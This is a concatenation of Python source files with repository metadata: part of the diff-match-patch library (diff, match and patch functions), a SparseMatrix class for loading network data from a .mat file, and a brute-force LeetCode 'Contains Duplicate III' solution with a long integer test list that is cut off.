diffs.pop() # Remove the dummy entry at the end.
# Second pass: look for single edits surrounded on both sides by equalities
# which can be shifted sideways to eliminate an equality.
# e.g: A<ins>BA</ins>C -> <ins>AB</ins>AC
changes = False
pointer = 1
# Intentionally ignore the first and last element (don't need checking).
while pointer < len(diffs) - 1:
if (diffs[pointer - 1][0] == self.DIFF_EQUAL and
diffs[pointer + 1][0] == self.DIFF_EQUAL):
# This is a single edit surrounded by equalities.
if diffs[pointer][1].endswith(diffs[pointer - 1][1]):
# Shift the edit over the previous equality.
diffs[pointer] = (diffs[pointer][0],
diffs[pointer - 1][1] +
diffs[pointer][1][:-len(diffs[pointer - 1][1])])
diffs[pointer + 1] = (diffs[pointer + 1][0],
diffs[pointer - 1][1] + diffs[pointer + 1][1])
del diffs[pointer - 1]
changes = True
elif diffs[pointer][1].startswith(diffs[pointer + 1][1]):
# Shift the edit over the next equality.
diffs[pointer - 1] = (diffs[pointer - 1][0],
diffs[pointer - 1][1] + diffs[pointer + 1][1])
diffs[pointer] = (diffs[pointer][0],
diffs[pointer][1][len(diffs[pointer + 1][1]):] +
diffs[pointer + 1][1])
del diffs[pointer + 1]
changes = True
pointer += 1
# If shifts were made, the diff needs reordering and another shift sweep.
if changes:
self.diff_cleanupMerge(diffs)
def diff_xIndex(self, diffs, loc):
"""loc is a location in text1, compute and return the equivalent location
in text2. e.g. "The cat" vs "The big cat", 1->1, 5->8
Args:
diffs: Array of diff tuples.
loc: Location within text1.
Returns:
Location within text2.
"""
chars1 = 0
chars2 = 0
last_chars1 = 0
last_chars2 = 0
for x in xrange(len(diffs)):
(op, text) = diffs[x]
if op != self.DIFF_INSERT: # Equality or deletion.
chars1 += len(text)
if op != self.DIFF_DELETE: # Equality or insertion.
chars2 += len(text)
if chars1 > loc: # Overshot the location.
break
last_chars1 = chars1
last_chars2 = chars2
if len(diffs) != x and diffs[x][0] == self.DIFF_DELETE:
# The location was deleted.
return last_chars2
# Add the remaining len(character).
return last_chars2 + (loc - last_chars1)
def diff_prettyHtml(self, diffs):
"""Convert a diff array into a pretty HTML report.
Args:
diffs: Array of diff tuples.
Returns:
HTML representation.
"""
html = []
i = 0
for (op, data) in diffs:
text = (data.replace("&", "&").replace("<", "<")
.replace(">", ">").replace("\n", "<br>"))
if op == self.DIFF_INSERT:
html.append("<strong>%s</strong>"
% (text))
if len(text) > 20:
html.append("<br>")
elif op == self.DIFF_DELETE:
html.append("<del>%s</del>"
% (text))
if len(text) > 20:
html.append("<br>")
elif op == self.DIFF_EQUAL:
html.append("<span>%s</span>" % (text))
if op != self.DIFF_DELETE:
i += len(data)
return "".join(html)
def diff_text1(self, diffs):
"""Compute and return the source text (all equalities and deletions).
Args:
diffs: Array of diff tuples.
Returns:
Source text.
"""
text = []
for (op, data) in diffs:
if op != self.DIFF_INSERT:
text.append(data)
return "".join(text)
def diff_text2(self, diffs):
"""Compute and return the destination text (all equalities and insertions).
Args:
diffs: Array of diff tuples.
Returns:
Destination text.
"""
text = []
for (op, data) in diffs:
if op != self.DIFF_DELETE:
text.append(data)
return "".join(text)
def diff_levenshtein(self, diffs):
"""Compute the Levenshtein distance; the number of inserted, deleted or
substituted characters.
Args:
diffs: Array of diff tuples.
Returns:
Number of changes.
"""
levenshtein = 0
insertions = 0
deletions = 0
for (op, data) in diffs:
if op == self.DIFF_INSERT:
insertions += len(data)
elif op == self.DIFF_DELETE:
deletions += len(data)
elif op == self.DIFF_EQUAL:
# A deletion and an insertion is one substitution.
levenshtein += max(insertions, deletions)
insertions = 0
deletions = 0
levenshtein += max(insertions, deletions)
return levenshtein
def diff_toDelta(self, diffs):
"""Crush the diff into an encoded string which describes the operations
required to transform text1 into text2.
E.g. =3\t-2\t+ing -> Keep 3 chars, delete 2 chars, insert 'ing'.
Operations are tab-separated. Inserted text is escaped using %xx notation.
Args:
diffs: Array of diff tuples.
Returns:
Delta text.
"""
text = []
for (op, data) in diffs:
if op == self.DIFF_INSERT:
# High ascii will raise UnicodeDecodeError. Use Unicode instead.
data = data.encode("utf-8")
text.append("+" + urllib.quote(data, "!~*'();/?:@&=+$,# "))
elif op == self.DIFF_DELETE:
text.append("-%d" % len(data))
elif op == self.DIFF_EQUAL:
text.append("=%d" % len(data))
return "\t".join(text)
def diff_fromDelta(self, text1, delta):
"""Given the original text1, and an encoded string which describes the
operations required to transform text1 into text2, compute the full diff.
Args:
text1: Source string for the diff.
delta: Delta text.
Returns:
Array of diff tuples.
Raises:
ValueError: If invalid input.
"""
if type(delta) == unicode:
# Deltas should be composed of a subset of ascii chars, Unicode not
# required. If this encode raises UnicodeEncodeError, delta is invalid.
delta = delta.encode("ascii")
diffs = []
pointer = 0 # Cursor in text1
tokens = delta.split("\t")
for token in tokens:
if token == "":
# Blank tokens are ok (from a trailing \t).
continue
# Each token begins with a one character parameter which specifies the
# operation of this token (delete, insert, equality).
param = token[1:]
if token[0] == "+":
param = urllib.unquote(param).decode("utf-8")
diffs.append((self.DIFF_INSERT, param))
elif token[0] == "-" or token[0] == "=":
try:
n = int(param)
except ValueError:
raise ValueError, "Invalid number in diff_fromDelta: " + param
if n < 0:
raise ValueError, "Negative number in diff_fromDelta: " + param
text = text1[pointer : pointer + n]
pointer += n
if token[0] == "=":
diffs.append((self.DIFF_EQUAL, text))
else:
diffs.append((self.DIFF_DELETE, text))
else:
# Anything else is an error.
raise ValueError, ("Invalid diff operation in diff_fromDelta: " +
token[0])
if pointer != len(text1):
raise ValueError, (
"Delta length (%d) does not equal source text length (%d)." %
(pointer, len(text1)))
return diffs
# MATCH FUNCTIONS
def match_main(self, text, pattern, loc):
"""Locate the best instance of 'pattern' in 'text' near 'loc'.
Args:
text: The text to search.
pattern: The pattern to search for.
loc: The location to search around.
Returns:
Best match index or -1.
"""
loc = max(0, min(loc, len(text)))
if text == pattern:
# Shortcut (potentially not guaranteed by the algorithm)
return 0
elif not text:
# Nothing to match.
return -1
elif text[loc:loc + len(pattern)] == pattern:
# Perfect match at the perfect spot! (Includes case of null pattern)
return loc
else:
# Do a fuzzy compare.
match = self.match_bitap(text, pattern, loc)
return match
def match_bitap(self, text, pattern, loc):
"""Locate the best instance of 'pattern' in 'text' near 'loc' using the
Bitap algorithm.
Args:
text: The text to search.
pattern: The pattern to search for.
loc: The location to search around.
Returns:
Best match index or -1.
"""
# Python doesn't have a maxint limit, so ignore this check.
#if self.Match_MaxBits != 0 and len(pattern) > self.Match_MaxBits:
# raise ValueError("Pattern too long for this application.")
# Initialise the alphabet.
s = self.match_alphabet(pattern)
def match_bitapScore(e, x):
"""Compute and return the score for a match with e errors and x location.
Accesses loc and pattern through being a closure.
Args:
e: Number of errors in match.
x: Location of match.
Returns:
Overall score for match (0.0 = good, 1.0 = bad).
"""
accuracy = float(e) / len(pattern)
proximity = abs(loc - x)
if not self.Match_Distance:
# Dodge divide by zero error.
return proximity and 1.0 or accuracy
return accuracy + (proximity / float(self.Match_Distance))
# Highest score beyond which we give up.
score_threshold = self.Match_Threshold
# Is there a nearby exact match? (speedup)
best_loc = text.find(pattern, loc)
if best_loc != -1:
score_threshold = min(match_bitapScore(0, best_loc), score_threshold)
# What about in the other direction? (speedup)
best_loc = text.rfind(pattern, loc + len(pattern))
if best_loc != -1:
score_threshold = min(match_bitapScore(0, best_loc), score_threshold)
# Initialise the bit arrays.
matchmask = 1 << (len(pattern) - 1)
best_loc = -1
bin_max = len(pattern) + len(text)
# Empty initialization added to appease pychecker.
last_rd = None
for d in xrange(len(pattern)):
# Scan for the best match each iteration allows for one more error.
# Run a binary search to determine how far from 'loc' we can stray at
# this error level.
bin_min = 0
bin_mid = bin_max
while bin_min < bin_mid:
if match_bitapScore(d, loc + bin_mid) <= score_threshold:
bin_min = bin_mid
else:
bin_max = bin_mid
bin_mid = (bin_max - bin_min) / 2 + bin_min
# Use the result from this iteration as the maximum for the next.
bin_max = bin_mid
start = max(1, loc - bin_mid + 1)
finish = min(loc + bin_mid, len(text)) + len(pattern)
rd = range(finish + 1)
rd.append((1 << d) - 1)
for j in xrange(finish, start - 1, -1):
if len(text) <= j - 1:
# Out of range.
charMatch = 0
else:
charMatch = s.get(text[j - 1], 0)
if d == 0: # First pass: exact match.
rd[j] = ((rd[j + 1] << 1) | 1) & charMatch
else: # Subsequent passes: fuzzy match.
rd[j] = ((rd[j + 1] << 1) | 1) & charMatch | (
((last_rd[j + 1] | last_rd[j]) << 1) | 1) | last_rd[j + 1]
if rd[j] & matchmask:
score = match_bitapScore(d, j - 1)
# This match will almost certainly be better than any existing match.
# But check anyway.
if score <= score_threshold:
# Told you so.
score_threshold = score
best_loc = j - 1
if best_loc > loc:
# When passing loc, don't exceed our current distance from loc.
start = max(1, 2 * loc - best_loc)
else:
# Already passed loc, downhill from here on in.
break
# No hope for a (better) match at greater error levels.
if match_bitapScore(d + 1, loc) > score_threshold:
break
last_rd = rd
return best_loc
def match_alphabet(self, pattern):
"""Initialise the alphabet for the Bitap algorithm.
Args:
pattern: The text to encode.
Returns:
Hash of character locations.
"""
s = {}
for char in pattern:
s[char] = 0
for i in xrange(len(pattern)):
s[pattern[i]] |= 1 << (len(pattern) - i - 1)
return s
# PATCH FUNCTIONS
def patch_addContext(self, patch, text):
"""Increase the context until it is unique,
but don't let the pattern expand beyond Match_MaxBits.
Args:
patch: The patch to grow.
text: Source text.
"""
if len(text) == 0:
return
pattern = text[patch.start2 : patch.start2 + patch.length1]
padding = 0
# Look for the first and last matches of pattern in text. If two different
# matches are found, increase the pattern length.
while (text.find(pattern) != text.rfind(pattern) and (self.Match_MaxBits ==
0 or len(pattern) < self.Match_MaxBits - self.Patch_Margin -
self.Patch_Margin)):
padding += self.Patch_Margin
pattern = text[max(0, patch.start2 - padding) :
patch.start2 + patch.length1 + padding]
# Add one chunk for good luck.
padding += self.Patch_Margin
# Add the prefix.
prefix = text[max(0, patch.start2 - padding) : patch.start2]
if prefix:
patch.diffs[:0] = [(self.DIFF_EQUAL, prefix)]
# Add the suffix.
suffix = text[patch.start2 + patch.length1 :
patch.start2 + patch.length1 + padding]
if suffix:
patch.diffs.append((self.DIFF_EQUAL, suffix))
# Roll back the start points.
patch.start1 -= len(prefix)
patch.start2 -= len(prefix)
# Extend lengths.
patch.length1 += len(prefix) + len(suffix)
patch.length2 += len(prefix) + len(suffix)
def patch_make(self, a, b=None, c=None):
"""Compute a list of patches to turn text1 into text2.
Use diffs if provided, otherwise compute it ourselves.
There are four ways to call this function, depending on what data is
available to the caller:
Method 1:
a = text1, b = text2
Method 2:
a = diffs
Method 3 (optimal):
a = text1, b = diffs
Method 4 (deprecated, use method 3):
a = text1, b = text2, c = diffs
Args:
a: text1 (methods 1,3,4) or Array of diff tuples for text1 to
text2 (method 2).
b: text2 (methods 1,4) or Array of diff tuples for text1 to
text2 (method 3) or undefined (method 2).
c: Array of diff tuples for text1 to text2 (method 4) or
undefined (methods 1,2,3).
Returns:
Array of patch objects.
"""
text1 = None
diffs = None
# Note that texts may arrive as 'str' or 'unicode'.
if isinstance(a, basestring) and isinstance(b, basestring) and c is None:
# Method 1: text1, text2
# Compute diffs from text1 and text2.
text1 = a
diffs = self.diff_main(text1, b, True)
if len(diffs) > 2:
self.diff_cleanupSemantic(diffs)
self.diff_cleanupEfficiency(diffs)
elif isinstance(a, list) and b is None and c is None:
# Method 2: diffs
# Compute text1 from diffs.
diffs = a
text1 = self.diff_text1(diffs)
elif isinstance(a, basestring) and isinstance(b, list) and c is None:
# Method 3: text1, diffs
text1 = a
diffs = b
elif (isinstance(a, basestring) and isinstance(b, basestring) and
isinstance(c, list)):
# Method 4: text1, text2, diffs
# text2 is not used.
text1 = a
diffs = c
else:
raise ValueError("Unknown call format to patch_make.")
if not diffs:
return [] # Get rid of the None case.
patches = []
patch = patch_obj()
char_count1 = 0 # Number of characters into the text1 string.
char_count2 = 0 # Number of characters into the text2 string.
prepatch_text = text1 # Recreate the patches to determine context info.
postpatch_text = text1
for x in xrange(len(diffs)):
(diff_type, diff_text) = diffs[x]
if len(patch.diffs) == 0 and diff_type != self.DIFF_EQUAL:
# A new patch starts here.
patch.start1 = char_count1
patch.start2 = char_count2
if diff_type == self.DIFF_INSERT:
# Insertion
patch.diffs.append(diffs[x])
patch.length2 += len(diff_text)
postpatch_text = (postpatch_text[:char_count2] + diff_text +
postpatch_text[char_count2:])
elif diff_type == self.DIFF_DELETE:
# Deletion.
patch.length1 += len(diff_text)
patch.diffs.append(diffs[x])
postpatch_text = (postpatch_text[:char_count2] +
postpatch_text[char_count2 + len(diff_text):])
elif (diff_type == self.DIFF_EQUAL and
len(diff_text) <= 2 * self.Patch_Margin and
len(patch.diffs) != 0 and len(diffs) != x + 1):
# Small equality inside a patch.
patch.diffs.append(diffs[x])
patch.length1 += len(diff_text)
patch.length2 += len(diff_text)
if (diff_type == self.DIFF_EQUAL and
len(diff_text) >= 2 * self.Patch_Margin):
# Time for a new patch.
if len(patch.diffs) != 0:
self.patch_addContext(patch, prepatch_text)
patches.append(patch)
patch = patch_obj()
# Unlike Unidiff, our patch lists have a rolling context.
# http://code.google.com/p/google-diff-match-patch/wiki/Unidiff
# Update prepatch text & pos to reflect the application of the
# just completed patch.
prepatch_text = postpatch_text
char_count1 = char_count2
# Update the current character count.
if diff_type != self.DIFF_INSERT:
char_count1 += len(diff_text)
if diff_type != self.DIFF_DELETE:
char_count2 += len(diff_text)
# Pick up the leftover patch if not empty.
if len(patch.diffs) != 0:
self.patch_addContext(patch, prepatch_text)
patches.append(patch)
return patches
def patch_deepCopy(self, patches):
"""Given an array of patches, return another array that is identical.
Args:
patches: Array of patch objects.
Returns:
Array of patch objects.
"""
patchesCopy = []
for patch in patches:
patchCopy = patch_obj()
# No need to deep copy the tuples since they are immutable.
patchCopy.diffs = patch.diffs[:]
patchCopy.start1 = patch.start1
patchCopy.start2 = patch.start2
patchCopy.length1 = patch.length1
patchCopy.length2 = patch.length2
patchesCopy.append(patchCopy)
return patchesCopy
def patch_apply(self, patches, text):
"""Merge a set of patches onto the text. Return a patched text, as well
as a list of true/false values indicating which patches were applied.
Args:
patches: Array of patch objects.
text: Old text.
Returns:
Two element Array, containing the new text and an array of boolean values.
"""
if not patches:
return (text, [])
# Deep copy the patches so that no changes are made to originals.
patches = self.patch_deepCopy(patches)
nullPadding = self.patch_addPadding(patches)
text = nullPadding + text + nullPadding
self.patch_splitMax(patches)
# delta keeps track of the offset between the expected and actual location
# of the previous patch. If there are patches expected at positions 10 and
# 20, but the first patch was found at 12, delta is 2 and the second patch
# has an effective expected position of 22.
delta = 0
results = []
for patch in patches:
expected_loc = patch.start2 + delta
text1 = self.diff_text1(patch.diffs)
end_loc = -1
if len(text1) > self.Match_MaxBits:
# patch_splitMax will only provide an oversized pattern in the case of
# a monster delete.
start_loc = self.match_main(text, text1[:self.Match_MaxBits],
expected_loc)
if start_loc != -1:
end_loc = self.match_main(text, text1[-self.Match_MaxBits:],
expected_loc + len(text1) - self.Match_MaxBits)
if end_loc == -1 or start_loc >= end_loc:
# Can't find valid trailing context. Drop this patch.
start_loc = -1
else:
start_loc = self.match_main(text, text1, expected_loc)
if start_loc == -1:
# No match found. :(
results.append(False)
# Subtract the delta for this failed patch from subsequent patches.
delta -= patch.length2 - patch.length1
else:
# Found a match. :)
results.append(True)
delta = start_loc - expected_loc
if end_loc == -1:
text2 = text[start_loc : start_loc + len(text1)]
else:
text2 = text[start_loc : end_loc + self.Match_MaxBits]
if text1 == text2:
# Perfect match, just shove the replacement text in.
text = (text[:start_loc] + self.diff_text2(patch.diffs) +
text[start_loc + len(text1):])
else:
# Imperfect match.
# Run a diff to get a framework of equivalent indices.
diffs = self.diff_main(text1, text2, False)
if (len(text1) > self.Match_MaxBits and
self.diff_levenshtein(diffs) / float(len(text1)) >
self.Patch_DeleteThreshold):
# The end points match, but the content is unacceptably bad.
results[-1] = False
else:
self.diff_cleanupSemanticLossless(diffs)
index1 = 0
for (op, data) in patch.diffs:
if op != self.DIFF_EQUAL:
index2 = self.diff_xIndex(diffs, index1)
if op == self.DIFF_INSERT: # Insertion
text = text[:start_loc + index2] + data + text[start_loc +
index2:]
elif op == self.DIFF_DELETE: # Deletion
text = text[:start_loc + index2] + text[start_loc +
self.diff_xIndex(diffs, index1 + len(data)):]
if op != self.DIFF_DELETE:
index1 += len(data)
# Strip the padding off.
text = text[len(nullPadding):-len(nullPadding)]
return (text, results)
def patch_addPadding(self, patches):
"""Add some padding on text start and end so that edges can match
something. Intended to be called only from within patch_apply.
Args:
patches: Array of patch objects.
Returns:
The padding string added to each side.
"""
paddingLength = self.Patch_Margin
nullPadding = ""
for x in xrange(1, paddingLength + 1):
nullPadding += chr(x)
# Bump all the patches forward.
for patch in patches:
patch.start1 += paddingLength
patch.start2 += paddingLength
# Add some padding on start of first diff.
patch = patches[0]
diffs = patch.diffs
if not diffs or diffs[0][0] != self.DIFF_EQUAL:
# Add nullPadding equality.
diffs.insert(0, (self.DIFF_EQUAL, nullPadding))
patch.start1 -= paddingLength # Should be 0.
patch.start2 -= paddingLength # Should be 0.
patch.length1 += paddingLength
patch.length2 += paddingLength
elif paddingLength > len(diffs[0][1]):
# Grow first equality.
extraLength = paddingLength - len(diffs[0][1])
newText = nullPadding[len(diffs[0][1]):] + diffs[0][1]
diffs[0] = (diffs[0][0], newText)
patch.start1 -= extraLength
patch.start2 -= extraLength
patch.length1 += extraLength
patch.length2 += extraLength
# Add some padding on end of last diff.
patch = patches[-1]
diffs = patch.diffs
if not diffs or diffs[-1][0] != self.DIFF_EQUAL:
# Add nullPadding equality.
diffs.append((self.DIFF_EQUAL, nullPadding))
patch.length1 += paddingLength
patch.length2 += paddingLength
elif paddingLength > len(diffs[-1][1]):
# Grow last equality.
extraLength = paddingLength - len(diffs[-1][1])
newText = diffs[-1][1] + nullPadding[:extraLength]
diffs[-1] = (diffs[-1][0], newText)
patch.length1 += extraLength
patch.length2 += extraLength
return nullPadding
def patch_splitMax(self, patches):
"""Look through the patches and break up any which are longer than the
maximum limit of the match algorithm.
Args:
patches: Array of patch objects.
"""
if self.Match_MaxBits == 0:
return
for x in xrange(len(patches)):
if patches[x].length1 > self.Match_MaxBits:
bigpatch = patches[x]
# Remove the big old patch.
del patches[x]
x -= 1
patch_size = self.Match_MaxBits
start1 = bigpatch.start1
start2 = bigpatch.start2
precontext = ''
while len(bigpatch.diffs) != 0:
# Create one of several smaller patches.
patch = patch_obj()
empty = True
patch.start1 = start1 - len(precontext)
patch.start2 = start2 - len(precontext)
if precontext:
patch.length1 = patch.length2 = len(precontext)
patch.diffs.append((self.DIFF_EQUAL, precontext))
while (len(bigpatch.diffs) != 0 and
patch.length1 < patch_size - self.Patch_Margin):
(diff_type, diff_text) = bigpatch.diffs[0]
if diff_type == self.DIFF_INSERT:
# Insertions are harmless.
patch.length2 += len(diff_text)
start2 += len(diff_text)
patch.diffs.append(bigpatch.diffs.pop(0))
empty = False
elif (diff_type == self.DIFF_DELETE and len(patch.diffs) == 1 and
patch.diffs[0][0] == self.DIFF_EQUAL and
len(diff_text) > 2 * patch_size):
# This is a large deletion. Let it pass in one chunk.
patch.length1 += len(diff_text)
start1 += len(diff_text)
empty = False
patch.diffs.append((diff_type, diff_text))
del bigpatch.diffs[0]
else:
# Deletion or equality. Only take as much as we can stomach.
diff_text = diff_text[:patch_size - patch.length1 -
self.Patch_Margin]
patch.length1 += len(diff_text)
start1 += len(diff_text)
if diff_type == self.DIFF_EQUAL:
patch.length2 += len(diff_text)
start2 += len(diff_text)
else:
empty = False
patch.diffs.append((diff_type, diff_text))
if diff_text == bigpatch.diffs[0][1]:
del bigpatch.diffs[0]
else:
bigpatch.diffs[0] = (bigpatch.diffs[0][0],
bigpatch.diffs[0][1][len(diff_text):])
# Compute the head context for the next patch.
precontext = self.diff_text2(patch.diffs)
precontext = precontext[-self.Patch_Margin:]
# Append the end context for this patch.
postcontext = self.diff_text1(bigpatch.diffs)[:self.Patch_Margin]
if postcontext:
patch.length1 += len(postcontext)
patch.length2 += len(postcontext)
if len(patch.diffs) != 0 and patch.diffs[-1][0] == self.DIFF_EQUAL:
patch.diffs[-1] = (self.DIFF_EQUAL, patch.diffs[-1][1] +
postcontext)
else:
patch.diffs.append((self.DIFF_EQUAL, postcontext))
if not empty:
x += 1
patches.insert(x, patch)
def patch_toText(self, patches):
"""Take a list of patches and return a textual representation.
Args:
patches: Array of patch objects.
Returns:
Text representation of patches.
"""
text = []
for patch in patches:
text.append(str(patch))
return "".join(text)
def patch_fromText(self, textline):
"""Parse a textual representation of patches and return a list of patch
objects.
Args:
textline: Text representation of patches.
Returns:
Array of patch objects.
Raises:
ValueError: If invalid input.
"""
if type(textline) == unicode:
# Patches should be composed of a subset of ascii chars, Unicode not
# required. If this encode raises UnicodeEncodeError, patch is invalid.
textline = textline.encode("ascii")
patches = []
if not textline:
return patches
text = textline.split('\n')
while len(text) != 0:
m = re.match("^@@ -(\d+),?(\d*) \+(\d+),?(\d*) @@$", text[0])
if not m:
raise ValueError, "Invalid patch string: " + text[0]
patch = patch_obj()
patches.append(patch)
patch.start1 = int(m.group(1))
if m.group(2) == '':
patch.start1 -= 1
patch.length1 = 1
elif m.group(2) == '0':
patch.length1 = 0
else:
patch.start1 -= 1
patch.length1 = int(m.group(2))
patch.start2 = int(m.group(3))
if m.group(4) == '':
patch.start2 -= 1
patch.length2 = 1
elif m.group(4) == '0':
patch.length2 = 0
else:
patch.start2 -= 1
patch.length2 = int(m.group(4))
del text[0]
while len(text) != 0:
if text[0]:
sign = text[0][0]
else:
sign = ''
line = urllib.unquote(text[0][1:])
line = line.decode("utf-8")
if sign == '+':
# Insertion.
patch.diffs.append((self.DIFF_INSERT, line))
elif sign == '-':
# Deletion.
patch.diffs.append((self.DIFF_DELETE, line))
elif sign == ' ':
# Minor equality.
patch.diffs.append((self.DIFF_EQUAL, line))
elif sign == '@':
# Start of next patch.
break
elif sign == '':
# Blank line? Whatever.
pass
else:
# WTF?
raise ValueError, "Invalid patch mode: '%s'\n%s" % (sign, line)
del text[0]
return patches
class patch_obj:
"""Class representing one patch operation.
"""
def __init__(self):
"""Initializes with an empty list of diffs.
"""
self.diffs = []
self.start1 = None
self.start2 = None
self.length1 = 0
self.length2 = 0
def __str__(self):
"""Emmulate GNU diff's format.
Header: @@ -382,8 +481,9 @@
Indicies are printed as 1-based, not 0-based.
Returns:
The GNU diff string.
"""
if self.length1 == 0:
coords1 = str(self.start1) + ",0"
elif self.length1 == 1:
coords1 = str(self.start1 + 1)
else:
coords1 = str(self.start1 + 1) + "," + str(self.length1)
if self.length2 == 0:
coords2 = str(self.start2) + ",0"
elif self.length2 == 1:
coords2 = str(self.start2 + 1)
else:
coords2 = str(self.start2 + 1) + "," + str(self.length2)
text = ["@@ -", coords1, " +", coords2, " @@\n"]
# Escape the body of the patch with %xx notation.
for (op, data) in self.diffs:
if op == diff_match_patch.DIFF_INSERT:
text.append("+")
elif op == diff_match_patch.DIFF_DELETE:
text.append("-")
elif op == diff_match_patch.DIFF_EQUAL:
text.append(" ")
# High ascii will raise UnicodeDecodeError. Use Unicode instead.
data = data.encode("utf-8")
text.append(urllib.quote(data, "!~*'();/?:@&=+$,# ") + "\n")
return "".join(text)
|
[
"mark@markng.co.uk"
] |
mark@markng.co.uk
|
fac016a72c1b7602d5ce283cbfdbcf983e781f19
|
d83ad2d6dd921cff284db58bc8a212d7e97d132c
|
/python/SparseMatrix.py
|
9140c87fa65e4e385aea83d0b591e281e45189a3
|
[] |
no_license
|
BradleyMorgan/COMP7970-004-FinalProject
|
493f8e62b96f34d647a3b15c635f611367cd8ab5
|
dba2bb72142bfcf94c25448948466af267ed15fa
|
refs/heads/master
| 2021-08-22T23:09:11.143733
| 2017-12-01T15:34:30
| 2017-12-01T15:34:30
| 109,397,317
| 0
| 0
| null | 2017-11-03T13:14:07
| 2017-11-03T13:14:06
| null |
UTF-8
|
Python
| false
| false
| 3,216
|
py
|
import random
import scipy.io as sio
from math import sqrt
class SparseMatrix():
def __init__(self, fileName = 'blogcatalog.mat'):
self._data = None
self.edge_size = 0
self.node_size = 0
self.InstanceToFeature = list()
self.FeatureToInstance = list()
self.load_from_mat(fileName)
def load_from_mat(self,data):
# construct a mapping from features to instances
mat_contents = sio.loadmat(data)
network = mat_contents['network']
self.feature_size = network.shape[0]
self.instance_size = network.nnz // 2
rows,columns = network.nonzero()
network_size = network.nnz
count_element = 0
count_row = 0
for i in range(self.instance_size):
self.InstanceToFeature.append(list())
for featureIndex in range(self.feature_size):
self.FeatureToInstance.append(list())
for i in range(network_size):
node_1 = rows[i]
node_2 = columns[i]
if node_2 > node_1:
# instnace to feature
self.InstanceToFeature[count_row].append(node_1)
self.InstanceToFeature[count_row].append(node_2)
# feature to instance
self.FeatureToInstance[node_1].append(count_row)
self.FeatureToInstance[node_2].append(count_row)
count_element = count_element + 2
count_row = count_row +1
def getRelevantInstanceSetByFeatureIndexAndCentroid(self,centroid):
relevantInstanceSet = set()
# centroid contains featureIndex and value
for featureIndex in centroid:
for instanceIndex in self.FeatureToInstance[featureIndex]:
relevantInstanceSet.add(instanceIndex)
return relevantInstanceSet
def pickRandomInstance(self):
'''
will return a feature instance as a collection of two
values mapped to a random index between 0 and the
size of input
:return: instance
'''
instanceIndex = random.randint(0, self.getInstanceSize() - 1)
instance = self.dataToInstance(instanceIndex)
return instance
def pickInstanceFromIsolated(self, isolated):
instanceIndex = 0
if isolated:
instanceIndex = isolated.pop()
return self.dataToInstance(instanceIndex);
else:
return self.pickRandomInstance()
def dataToInstance(self,instanceIndex):
instance = {}
value = 1 / sqrt(2)
for featureIndex in self.InstanceToFeature[instanceIndex]:
# normalization
instance[featureIndex] = value
return instance
def calculateSimilarity(self, instanceIndex, centroid):
similarity = 0
for featureIndex in self.InstanceToFeature[instanceIndex]:
if featureIndex in centroid:
value = 1 / sqrt(2)
similarity += centroid[featureIndex] * value
return similarity
def getFeatureSize(self):
return self.feature_size
def getInstanceSize(self):
return self.instance_size
def getMatrix(self):
return self._data
|
[
"robinsa87@gmail.com"
] |
robinsa87@gmail.com
|
53a60bedfce82eb6c8617cb9f78d86af5ec5433b
|
0c8174248dedf4b1dc152d4f944165c0313048ea
|
/220. Contains Duplicate III.py
|
dcb506cf2bedab2a3a92862caca1119f7b483c30
|
[] |
no_license
|
linruili/leetcode-python3.5
|
6c31b4ff8985a4c3f94930698df2de13bf2a1420
|
01680c813150e5fb9ddd52b0746add5d416104f2
|
refs/heads/master
| 2021-01-20T18:45:05.059677
| 2016-07-01T15:03:08
| 2016-07-01T15:03:08
| 61,994,520
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 108,153
|
py
|
def containsNearbyAlmostDuplicate(nums, k, t):
"""
:type nums: List[int]
:type k: int
:type t: int
:rtype: bool
"""
for i in range(len(nums)-1):
for j in range(i+1 , min(len(nums) , i+k+1)):
if abs(nums[i]-nums[j]) <= t:
return True
return False
L=[2433,3054,9952,6470,2509,8502,-8802,-5276,6559,-9555,-4765,6399,6543,2027,1723,-3032,-3319,-7726,-1425,-7431,-7492,4803,7952,-6603,-784,-8011,6161,-6955,5800,5834,-6310,1097,2327,-4007,8664,-9619,5922,518,9740,9976,4257,-7803,6023,4189,-5167,-4699,2441,5941,3663,625,5402,-3447,8888,9040,-4811,-7547,6822,1415,9372,-9262,4584,4149,-276,-4019,198,608,-4466,5383,7871,3149,-8358,9270,3565,-882,-9494,-6475,9833,-7744,-598,5299,5976,7361,-9444,3771,-5718,9051,3469,-4028,4216,5506,-8611,-9744,-8007,213,-3454,-2420,6283,-5616,-3508,-1329,4694,-7219,2056,9063,-9648,-7722,-755,-9482,9078,-8411,-3393,-4395,-1203,-2165,2170,8643,-5205,4050,-9322,6178,-973,-331,7559,-7889,3499,-7195,7725,-9155,3899,-5259,1981,4766,595,-7183,4150,-2062,3288,5047,-9789,1507,-4937,5909,-3442,-4599,-789,6931,-3100,-9151,-3665,-4228,-7466,6393,6632,-5133,-7684,4525,1150,3826,-6424,-1689,6206,-5747,8061,1502,-3893,-8528,2387,-6159,-1355,-5789,1361,-1593,-8955,4505,8885,-7793,8038,-8401,9688,6241,2518,7115,-7193,-2735,5665,8331,-1822,-6938,3307,4019,6020,-8340,-7138,4478,-6911,-1241,3829,-5387,-3139,-1707,-187,-9148,-8734,-9570,4666,-9280,-31,-4474,-5569,548,5768,-7954,-9796,9525,-56,-450,-7316,5987,25,-9590,586,-4942,-8193,-3165,6832,1436,-106,-7393,-6921,-9176,8404,1220,9014,224,2145,4099,-3517,-6904,6707,3274,1374,1868,-2740,-3041,-9858,6342,-166,-3181,6941,1132,-685,-8060,-7796,5228,9936,-15,-8382,-76,4910,-9735,-8025,9225,-4619,4279,5578,1910,-659,834,1501,7328,-8782,-6110,-4776,1321,5721,2014,5767,-5541,-7052,-2716,7768,-5243,-5997,7162,3157,-8769,2776,3018,6159,7571,-3806,-6260,-3565,5508,6517,-9469,9652,4320,8409,7357,3609,4760,1162,-1186,-6994,-2294,1820,-3094,-9049,-2426,9577,7051,-8080,-4335,3428,4351,1729,9169,989,1624,-1275,-577,5765,-7344,-8206,-4561,8191,1709,4416,9256,2439,3907,-696,4164,-5627,3748,-1003,-7352,-9282,4822,-877,-5078,2783,-8127,8810,-5625,-3563,-3644,4009,-3791,-5544,3696,-7041,-6941,-54,-2702,-8501,4985,7330,7466,526,-2886,8098,-2973,-6142,-8740,-2965,-2264,-8868,-5292,-7997,8192,-4444,-1954,1634,8758,-6569,-5179,-6504,-8153,1787,8669,-8513,-9875,1694,3144,-9540,-2051,-927,2037,1708,-1464,-9667,6297,7912,-1327,785,-3514,9784,1840,3709,-5542,-4282,-8051,7006,-3899,9159,9430,7492,-2751,-5174,5860,1499,-9942,-